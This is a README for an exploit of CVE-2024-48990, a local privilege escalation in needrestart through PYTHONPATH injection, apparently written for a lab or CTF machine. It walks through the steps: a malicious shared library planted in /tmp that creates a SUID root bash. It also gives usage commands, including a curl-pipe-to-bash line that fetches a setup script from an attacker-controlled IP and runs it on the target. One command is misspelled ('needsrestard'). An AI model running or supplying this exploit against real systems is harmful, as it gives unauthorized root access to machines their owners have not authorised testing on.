CVE-2024-48990 Exploit

Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.

How It Works

1. needrestart runs as root and scans all processes
2. Finds our Python process, reads PYTHONPATH=/tmp/.m from /proc/[pid]/environ
3. Executes Python as root with our malicious PYTHONPATH
4. Python's import loads /tmp/.m/importlib/__init__.so (our malicious library)
5. Constructor in .so executes as root before Python even starts
6. Creates SUID bash at /tmp/rootbash
7. Execute /tmp/rootbash -p for root shell

Key Point: needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.

Usage

Attacker:

./compile.sh
python3 -m http.server 8000

Target:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

The e.py process should hang and spawn root once the following is ran from a 2nd terminal:

sudo needsrestard

the first terminal will start a root shell

Credits

Qualys Threat Research Unit - CVE-2024-48990